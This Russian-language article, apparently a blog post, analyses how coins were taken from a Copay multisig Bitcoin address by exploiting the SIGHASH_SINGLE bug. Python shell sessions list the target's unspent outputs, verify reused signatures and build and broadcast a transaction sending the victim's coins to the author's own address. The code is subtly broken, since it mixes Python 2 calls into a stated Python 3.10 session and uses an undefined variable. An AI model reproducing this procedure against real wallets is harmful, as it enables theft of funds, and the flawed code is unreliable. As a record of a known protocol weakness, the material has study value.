Как биткоин кошелек с мультиподписью Copay подвергла своих пользователей угрозе

В этой статье мы разберем атаку на мультиподписный кошелек “Copay”. Официальным разработчиком кошелька “Copay” является компания “BitPay”.

Угроза для пользователей возникла из-за использование типа подписи Биткоина SIGHASH_SINGLE( 0x03)

SIGHASH_SINGLE( 0x03) – это тип подписи подписывает все входы и ровно один соответствующий выход транзакции монет Биткоина. Соответствующий вывод имеет тот же индекс, что и ваша подпись (т. е. если ваш ввод находится на vin 0, то вывод, который вы хотите подписать, должен иметь vout 0). По сути, это говорит: «Я согласен участвовать в этой передаче со всеми этими входами, пока это количество идет на этот один адрес».


Мы рассмотрим данную транзакцию: 791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf

Оказалось, что тип подписи SIGHASH_SINGLE( 0x03) мог равномерно потратить выходные данные BTC из неизрасходованных транзакций, не зная приватных ключей, которые обычно требуются для подписи транзакции Биткоина.

Чтобы понять как это работает выполним все операций воспользовавшись “Pycryptotools” библиотекой ECC для Python


“Pycryptotools” изначально был создан Виталиком Бутерином https://github.com/vbuterin/pybitcointools

Как биткоин кошелек с мультиподписью Copay подвергла своих пользователей угрозе
Как биткоин кошелек с мультиподписью Copay подвергла своих пользователей угрозе

Из-за отсутствия поддержки для данной библиотеки был создан форк который до сих пор поддерживается:

https://github.com/primal100/pybitcointools.git

Погашение биткоин транзакции

Биткоин транзакция перемещает монеты BTC между одним или несколькими входами и выходами. Каждый вход тратит монеты, оплаченные предыдущему выходу, и каждый выход ожидает как неизрасходованный выход транзакции, пока он не будет потрачен в качестве входа для более поздней транзакции.

Транзакции биткоинов фактически связаны друг с другом в форме цепочки, а транзакция и ее предшественник последовательно соединяются через вход транзакции. Предположим, что у USER#1 в кошельке 2-биткоиновый UTXO, а затем USER#1 переводит 0,5 BTC некому USER#2, поэтому он генерирует транзакцию, подобную следующей:

Как биткоин кошелек с мультиподписью Copay подвергла своих пользователей угрозе

UTXO – это неизрасходованная транзакция Биткоина.

Вход транзакции T1 указывает на UTXO транзакции T0UTXO делится на две части, чтобы сформировать два новых UTXO: 0,5 BTC принадлежит USER#2, а оставшиеся 1,5 BTC возвращаются в кошелек USER#1 в качестве изменения. Предположим, что USER#2 потребил 0,5 BTC для себя после получения 0,1 BTC. Цепочка транзакций выглядит следующим образом:

Как биткоин кошелек с мультиподписью Copay подвергла своих пользователей угрозе

Следует отметить, что важным фактом является то, что для каждой вновь сгенерированной транзакции ввод транзакции должен указывать на вывод другой транзакции.
Биткоин транзакции связаны друг с другом в форме этой цепочки, и через транзакцию можно найти другую транзакцию, от которой они зависят.

Выход содержит сумму, которая была переведена в scriptSig, который при необходимо будет потрачен.

Входные данные ссылаются на выходные данные предыдущей транзакции TXID – идентификатор транзакции (хэш данных транзакции) и выходной индекс и предоставляют scriptSig, который удовлетворяет условиям выходного scriptSig транзакции.

Биткоин адрес – это хэш публичного ключа пользователя. Чтобы отправить немного монет BTC этому пользователю, создается выход транзакции с оплатой по публичному ключу (P2PKH)scriptSig вывода P2PKH содержит инструкции, которые позволяют владельцу приватного ключа, соответствующего хешированному публичному ключу, тратить вывод. Такой скрипт выглядит следующим образом:

OP_DUP OP_HASH160 <PublicKeyHash> OP_EQUALVERIFY OP_CHECKSIG

Если "resulting stack" имеет значение true, значит транзакция действительна.

В этом примере наиболее распространенной формой считается транзакции с инструкцией:

OP_EQUALVERIFY и OP_CHECKSIG

Чтобы SIGHASH_SINGLE ATTACK верифицировать

OP_EQUALVERIFY и OP_CHECKSIG должны быть завершены успешно.

OP_EQUALVERIFY проверит, что публичный ключ, предоставленный в scriptSig, соответствует ожидаемому хэшу в выходном сценарии, и OP_CHECKSIG проверит подпись транзакции по публичному ключу.


Полное описание выполнения скрипта см. в руководстве разработчика Биткоина developer-guide#p2pkh-script-validation

Как биткоин кошелек с мультиподписью Copay подвергла своих пользователей угрозе

P2SH Биткоин Адреса

P2SH (Pay-to-Script Hash) эта кодировка и соответствующих Биткоин адресов, начинающихся с цифры «3», берет начало с весны 2012 года. Это ускорило возможность создавать кошельки с мультиподписью (чтобы отправить средства требуется подтверждение от нескольких владельцев ключей), снизилась комиссия за перевод для отправителя платежа.

Как биткоин кошелек с мультиподписью Copay подвергла своих пользователей угрозе

Имея общее представление о Биткоин транзакциях разберем в деталях две неизрасходованные транзакции, связанные с целевым кошельком:

Как биткоин кошелек с мультиподписью Copay подвергла своих пользователей угрозе

32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe

Запустим “Python IDLE Shell 3.10.4”

Как биткоин кошелек с мультиподписью Copay подвергла своих пользователей угрозе

Запустим “Pybitcointools”

>>> target = '32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe'
>>> unspent(target)
[{'output': '8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0', 'value': 677200}, {'output': 'bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0', 'value': 5000000}]
# Get the outputs of each transaction
>>> deserialize(fetchtx('8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd'))['outs'][0]
{'value': 677200, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}
>>> deserialize(fetchtx('bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786'))['outs'][0]
{'value': 5000000, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}

( Все команды запуска на GitHub )


Декодирование выходного скрипта дает следующие коды операций:

OP_HASH160 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 OP_EQUAL

Код выхода не похож на стандартный сценарий вывода P2PKH, описанный выше. Для того, чтобы потратить эти выходные данные, нужно найти значение, которое при хешировании (с помощью SHA-256, а затем RIPEMD-160) соответствует 06612b7cb2027e80ec340f9e02ffe4a9a59ba762. Однако оказывается, что на самом деле это другой тип транзакции, известный как pay-to-script-hash (P2SH).

Чтобы потратить вывод P2SHscriptSig должен поместить в стек сериализация сценарий , известный как redeemScript, который имеет хэш, совпадающий с хешем в выходном сценарии.

Если хэши совпадают, т. е. "OP_EQUAL" инструкция в выходном скрипте вернула true, то redeemScript десериализуется (deserialize) и оценивается. Транзакция действительна, если redeemScript соответствует ожидаемому хешу и возвращает true.

Давайте посмотрим на некоторые предыдущие транзакции с целевого адреса и посмотрим, что делает redeemScript:

# Get an existing scriptSig
>>> deserialize(fetchtx('6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132'))['ins'][0]
{'script': '00483045022100e5d7c59ea1fb5d0285e755dfc09634e1e3af36d12950b9b5d5f92b136021b3d202202c181129443b08dcfb8d9ced30187186c57c96f9cdb3f3914e0798682ea35d2b03493046022100e1f8dbad16926cfa3bf61b66e23b3846323dcabf6c75748bcfad762fc50bfaf402210081d955160b5f8d2b9d09d8838a2cf61f5055009d9031e0e106e19ebab234d949034c695221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae', 'outpoint': {'index': 1, 'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'}, 'sequence': 4294967295}
# Confirm that the corresponding output script matches the one discovered above
>>> deserialize(fetchtx('ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'))['outs'][1]
{'value': 350000, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}

( Все команды запуска на GitHub )


Расшифровывая скрипт, Sig получает:

OP_FALSE 304502... 304602... 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae

Мы можем вручную проверить, соответствует ли окончательное значение, помещенное в стек, ожидаемому хешу в выходном скрипте:

>>> import hashlib
>>> data = "5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae".decode("hex")
>>> data = hashlib.sha256(data).digest()
>>> hashlib.new('ripemd160', data).hexdigest()
'06612b7cb2027e80ec340f9e02ffe4a9a59ba762'

( Все команды запуска на GitHub )


Поэтому это redeemScript. Его декодирование дает следующие инструкции:

2 023927... 03d2c0... 03ec01... 3 OP_CHECKMULTISIG

"OP_CHECKMULTISIG" принимает ряд подписей и ряд публичных ключей. Каждая пара подписи и публичного ключа проверяется "OP_CHECKSIG" на достоверность.

Для OP_CHECKMULTISIG возврата true все подписи должны соответствовать одному из публичных ключей. В этом случае есть две подписи, которые предоставляются scriptSig, и три публичных ключа, которые включены в redeemScript. Инструкция OP_FALSE в scriptSig требуется из-за ошибки, которая означает OP_CHECKMULTISIG удаление лишнего неиспользуемого значения из стека.

Таким образом, целевой адрес представляет собой кошелек с мультиподписью, который имеет три связанных открытых ключа. Для того, чтобы провести вывод, необходимы две действительные подписи в scriptSig (вместе с redeemScript).


Типы hash подписей

Биткоин поддерживает подписи транзакций, которые подтверждают только часть транзакции.

Существует три типа хэшей подписи:

  • SIGHASH_ALL: Все входы и выходы подписаны. Это тип хэша подписи по умолчанию.

  • SIGHASH_NONE: Все входы подписаны, но ни один из выходов не подписан.

  • SIGHASH_SINGLE: Подписываются только соответствующие вход и выход (выход с тем же порядковым номером, что и вход).


Тип хэша подписи определяется последним байтом подписи в scriptSig. Транзакция 6102bfd4…имеет три входа.

Вот концы двух подписей от каждого из scriptSig:

  • OP_FALSE …5d2b03 …d94903

  • OP_FALSE …069803 …182503

  • OP_FALSE …7c2903 …10b803

Все подписи заканчиваются значением 0x03, которое идентифицирует их как подписи SIGHASH_SINGLE: подпись охватывает только сам ввод и вывод с одинаковым порядковым номером. Но есть три входа и только два выхода; нет соответствующего выхода для входа с индексом два. Что происходит, когда дело доходит до создания подписи для этого ввода?

Оказывается, из-за бага, если выход с таким индексом не существует, то в качестве хэша транзакции будет возвращено целочисленное значение one.
Впервые это было описано Питером Тоддом (Peter Todd)

Как биткоин кошелек с мультиподписью Copay подвергла своих пользователей угрозе
Как биткоин кошелек с мультиподписью Copay подвергла своих пользователей угрозе

Мы можем проверить это поведение в оболочке Python:

>>> pubs = ['023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f0561196', '03d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b80', '03ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df']
>>> sigs = [der_decode_sig('3045022100dfcfafcea73d83e1c54d444a19fb30d17317f922c19e2ff92dcda65ad09cba24022001e7a805c5672c49b222c5f2f1e67bb01f87215fb69df184e7c16f66c1f87c2903'), der_decode_sig('304402204a657ab8358a2edb8fd5ed8a45f846989a43655d2e8f80566b385b8f5a70dab402207362f870ce40f942437d43b6b99343419b14fb18fa69bee801d696a39b3410b803')]
>>> hash = '\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
>>> ecdsa_raw_verify(hash, sigs[0], pubs[0])
True
>>> ecdsa_raw_verify(hash, sigs[1], pubs[1])
True

( Все команды запуска на GitHub )


Это означает, что должна быть возможность подделать действительный scriptSig для другой транзакции, повторно используя эти подписи на входах, которые не имеют соответствующего выхода!

Кража монет BTC в новой транзакции:

Мы хотим создать транзакцию с одним выходом на Биткоин адрес, который мы контролируем. Для этого требуется один вход с Биткоин адреса, который мы контролируем, чтобы индекс ввода для двух входов от целевых транзакций был выше нуля. Вот команды, которые я выполнил для создания такой транзакции:


# My address
>>> addr
'1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3'
# Unspent transaction outputs (legitimately) under my control
>>> unspent(addr)
[{'output': '23e81960ba8bb95c33c2336c84c126e378e4d1123921f881da9247c25f524161:1', 'value': 300000}]
# Target address and unspent transaction outputs
>>> target = '32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe'
>>> unspent(target)
[{'output': '8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0', 'value': 677200}, {'output': 'bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0', 'value': 5000000}]
# The unspent outputs are the inputs to the new transaction
>>> ins = unspent(addr) + unspent(target)
# Amount to send in the transaction
# Sum of the three inputs minus a fee for the block miner
>>> amount = 300000 + 5000000 + 677200
>>> amount -= 10000
# Single output to my address
>>> outs = [{'address': addr, 'value': value}]
# Create a new transaction from these inputs and outputs
>>> tx = mktx(ins, outs)
# Sign the first input with my private key
>>> tx = sign(tx, 0, priv)
>>> tx = deserialize(tx)
# Add the scriptSigs containing SIGHASH_SINGLE signatures of 1
>>> tx['ins'][1]['script'] = '00483045022100dfcfafcea73d83e1c54d444a19fb30d17317f922c19e2ff92dcda65ad09cba24022001e7a805c5672c49b222c5f2f1e67bb01f87215fb69df184e7c16f66c1f87c290347304402204a657ab8358a2edb8fd5ed8a45f846989a43655d2e8f80566b385b8f5a70dab402207362f870ce40f942437d43b6b99343419b14fb18fa69bee801d696a39b3410b8034c695221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae'
>>> tx['ins'][2]['script'] = '00483045022100dfcfafcea73d83e1c54d444a19fb30d17317f922c19e2ff92dcda65ad09cba24022001e7a805c5672c49b222c5f2f1e67bb01f87215fb69df184e7c16f66c1f87c290347304402204a657ab8358a2edb8fd5ed8a45f846989a43655d2e8f80566b385b8f5a70dab402207362f870ce40f942437d43b6b99343419b14fb18fa69bee801d696a39b3410b8034c695221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae'
>>> serialize(tx)
'01000000036141525fc24792da81f8213912d1e478e326c18...'

( Все команды запуска на GitHub )


Транзакция отправлена в сеть: 791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf

Все монеты BTC ушли в чужой Биткоин Кошелек!

Комментарии (0)